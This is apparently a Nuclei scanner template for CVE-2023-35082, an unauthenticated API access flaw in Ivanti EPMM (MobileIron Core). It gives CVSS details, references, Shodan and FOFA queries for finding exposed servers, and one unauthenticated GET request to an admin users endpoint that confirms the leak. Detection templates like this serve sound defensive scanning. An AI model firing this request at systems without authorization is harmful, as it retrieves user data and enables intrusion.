46 lines
1.9 KiB
YAML
46 lines
1.9 KiB
YAML
id: CVE-2023-35082
|
||
|
||
info:
|
||
name: MobileIron Core - Remote Unauthenticated API Access
|
||
author: DhiyaneshDk
|
||
severity: critical
|
||
description: |
|
||
Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain.
|
||
impact: |
|
||
Remote attackers can exploit this vulnerability to gain unauthorized access to sensitive data and perform malicious actions.
|
||
remediation: Upgrading to the latest version of Ivanti Endpoint Manager Mobile (EPMM)
|
||
reference:
|
||
- https://www.rapid7.com/blog/post/2023/08/02/cve-2023-35082-mobileiron-core-unauthenticated-api-access-vulnerability/
|
||
- https://nvd.nist.gov/vuln/detail/CVE-2023-35082
|
||
- https://forums.ivanti.com/s/article/CVE-2023-35082-Remote-Unauthenticated-API-Access-Vulnerability-in-MobileIron-Core-11-2-and-older?language=en_US
|
||
classification:
|
||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
cvss-score: 9.8
|
||
cve-id: CVE-2023-35082
|
||
cwe-id: CWE-287
|
||
epss-score: 0.07991
|
||
epss-percentile: 0.93615
|
||
cpe: cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
||
metadata:
|
||
verified: true
|
||
max-request: 1
|
||
vendor: ivanti
|
||
product: endpoint_manager_mobile
|
||
shodan-query: http.favicon.hash:362091310
|
||
fofa-query: icon_hash="362091310"
|
||
tags: cve,cve2023,ivanti,mobileiron,epmm
|
||
|
||
http:
|
||
- method: GET
|
||
path:
|
||
- "{{BaseURL}}/mifs/asfV3/api/v2/admins/users"
|
||
|
||
max-size: 100
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- contains_all(body, 'results','userId','name')
|
||
- contains(header, 'application/json')
|
||
- status_code == 200
|
||
condition: and
|
||
# digest: 490a00463044022036fe3d709f9e0c41d537d05596be8fec95fbe9e69814f9e906a355b66d6bc3fb02203d0ce34d8f1b8af985b99fe526c16caf677c5ffbb0d3046c402f275a9d73525d:922c64590222798bb761d5b6d8e72950 |